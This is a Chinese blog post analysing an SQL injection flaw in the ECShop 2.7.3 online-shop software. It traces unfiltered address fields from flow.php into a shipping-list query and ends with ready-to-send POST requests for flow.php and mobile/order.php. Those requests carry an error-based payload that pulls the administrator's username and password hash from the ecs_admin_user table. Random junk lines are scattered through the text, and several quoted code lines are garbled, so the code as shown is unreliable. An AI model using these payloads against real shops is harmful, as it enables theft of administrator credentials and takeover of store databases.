ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php

    关键函数：
+ f/ h4 w! n" K5 g


* S( \1 g: `3 h9 v. r01     function available_shipping_list($region_id_list)
8 S" l1 Z2 S; \/ R5 v
4 }8 y' }: V+ P3 ]$ t2 ^& t. t02 {

4 V6 i* ]- j* Z+ K+ I8 e5 o03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
3 D! {4 Q1 J8 T2 \. K$ k
/ r1 z. {% w: A4 k04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

- k2 X6 r+ Y; z05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
5 K7 E. d+ h* k5 I8 J+ M4 Z
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: X7 O3 L6 {" g" R
, {6 j$ m" ?, {3 p$ V# P07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 ~/ D# T* A8 H( o# N$ u
1 ?% i5 H9 U6 \: ^* N08             'WHERE r.region_id ' . db_create_in($region_id_list) .
4 T1 F5 k3 }% ~! ?/ \. B2 B
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

/ q. p6 n# x3 k6 ?7 S10   

" M! A- h/ L- |6 ]5 U4 z2 Y11     return $GLOBALS['db']->getAll($sql);

# ?5 m) W* c% Y% `: T- e# Q5 Q12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   
. B3 ?: p/ |. b' T
1 $shipping_list     = available_shipping_list($region);
$ \( g9 g7 x5 |0 n7 G
9 L- B9 h  D1 ]



$ v- }7 Q2 ?1 n9 K0 g% {再对传入变量进行追踪：
) r, E3 Q7 X; \( c% }% i
3 z3 i* A  n- K0 \& A! s0 X第530行：   
( v9 x* t$ ~0 a5 L1 a
* P' ^0 y; w! \: s3 {: D  N; M7 ?# B1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
& P% B, d" V3 @; T" B7 h7 s
. g! _! r- i( ], t0 g

! Z& E' i# h) B& N0 ^

0 J. M/ S2 L, h5 y2 _/ ?8 I第473行：        

( b* w; H2 E2 T" a/ E+ {1 $consignee = get_consignee($_SESSION['user_id']);
8 d) x! k2 K8 z
到了一个关键函数：
- s& f1 u* H+ @) _
5 \) E% P! d7 E; J4 r/includes/lib_order.php
7 u! P0 I) N1 T9 m
" W2 n0 }6 M$ d



01 function get_consignee($user_id)

: ~5 s$ O; a/ m; N02 {

03     if (isset($_SESSION['flow_consignee']))

04     {

05         /* 如果存在session，则直接返回session中的收货人信息 */
3 H% L% z1 ~0 D
06   

( r, v5 ]$ B2 d07         return $_SESSION['flow_consignee'];
6 j$ w" K* e4 f. Q  B  Q
08     }

/ ^. S( Q( G( R+ o! ^- b! f09     else
* I, ~. f& Z) K$ _) W& o& i
10     {
5 }0 q, z0 |; v
11         /* 如果不存在，则取得用户的默认收货人信息 */
. A1 W( k$ r2 p) `4 @" |( D
. d; g3 v. K, e; k12         $arr = array();
% ^- r! J; B7 }) g1 a
13   
/ U( \  U" ^$ c; X" @
& b$ e8 w6 I2 O4 x+ C/ h14         if ($user_id > 0)

15         {

, ~! Z, [* Q0 l+ q16             /* 取默认地址 */

17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
  Z- o% W/ b- W" F
% n  w8 e, I) u1 m: K. H4 O19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   

21             $arr = $GLOBALS['db']->getRow($sql);

22         }

- M6 e5 g/ S3 M23   

24         return $arr;

. N0 Y+ W5 x" n' P1 f25     }

, h, {# B( U$ [$ H, J7 U26 }
  g, @! e. E3 x+ h3 U# L7 t6 F
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

/ Q* m, V4 |2 K3 a; Y

% h: ]% u$ `; t5 S关键点:
6 e# w" g: s8 a" o( [0 X) F6 Q
第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
+ E3 r; r; i% M
这里对传入参数反转义存入$_SESSION中。
% U7 |2 i) b& d5 w1 z) P5 I


& a8 N0 L$ D) K+ n6 b8 t$ N; a" p& Q* l然后看下：
$ ^: R0 [* r% H2 Q
5 P! L4 e" w6 M4 b' `( X* k  K
+ B2 ]# a% A: e+ i
: t0 G- H" |: i: D; L3 S( F  w: D   
9 q* y5 {( s5 Y0 q! K
01 $consignee = array(
$ k2 s7 W5 v. i" p: Z( L
9 k2 b1 r+ K5 _  `02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
& ]8 o/ u3 L1 }& _! ~8 V+ V/ s
, T5 v6 t9 v# {7 q% u03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
% z7 x! V8 f% H. r2 r
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

7 j' B3 C9 U( H( j$ |06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
& E6 }/ U0 I$ P, v4 s
$ m/ k0 L$ {4 d, H07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
8 a  d3 X. K2 t+ W! O# `
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
6 E5 i' h( {8 I( p
7 |# t& Q& J0 H+ ^7 ^11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
7 D4 v% O2 z" r
/ S8 e4 f/ _2 q; t6 _, I, T% S12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

! y, G( R4 l7 o6 k6 i13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

8 q* Q) `! i. B3 `% g$ `( m/ X14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
1 l& K* h- F" c: R! M* j: Z  t8 o) e+ ?
7 |2 g  t5 [+ ~4 x15     );

好了注入就这样出现了。
; L! n# v4 D( S- N
1 B1 C- b3 L% v$ i7 {2 P% ?2 i3 t==================
" m* M' B4 q- _4 n1 v4 h: A2 W
注入测试：
" P; i$ m  S7 |$ \" b; o1 e
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
; G8 f/ n( q" Z
0 z  A# M$ L4 y4 G% k1 O, [测试程序：ECShop_V2.7.3_UTF8_release1106
/ p( S  L& A1 C$ h% r0 W& S" K


1 e6 G7 _, m3 v+ S0 q+ S4 f3 J1.首先需要点击一个商品加入购物车
& |3 m5 N0 J$ i* X, ], S/ z+ j
9 l+ x8 J, j6 i! I7 j2.注册一个会员帐号

3.post提交数据
  N: u; a" P, }) U
  p, I! ~7 q7 }9 j1 o/ \

: q5 q( X" o% T% e+ u1 http://127.0.0.1/ecshop/flow.php

2   
4 z1 _' `7 U' d3 R+ |  E: t$ @: E
( K  n- `0 F/ D' T3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 \& n4 L4 B  M2 ?举一反三，我们根据这个漏洞我们可以继续深入挖掘：
4 A9 S9 I7 {$ v- C. h! O& l( k
我们搜寻关键函数function available_shipping_list()
7 M- {* Q  n; B( Q5 Z
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

; O0 Y6 I3 j$ X. V/ c+ N) R8 L利用exp:
) u+ l( {. Z+ a4 _# |" M9 G
1.点击一个商品，点击购买商标
: ?3 C( v5 f$ J# H" B) |
+ `% \  M7 q: ~1 `6 f2.登录会员帐号

3.post提交：

' n8 a5 t: x1 m+ ]$ E# `http://127.0.0.1/ecshop/mobile/order.php

7 P1 g8 o0 l" }* w

' p5 i) x3 w2 Q2 j+ ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

) d) z9 n, t" F! F6 {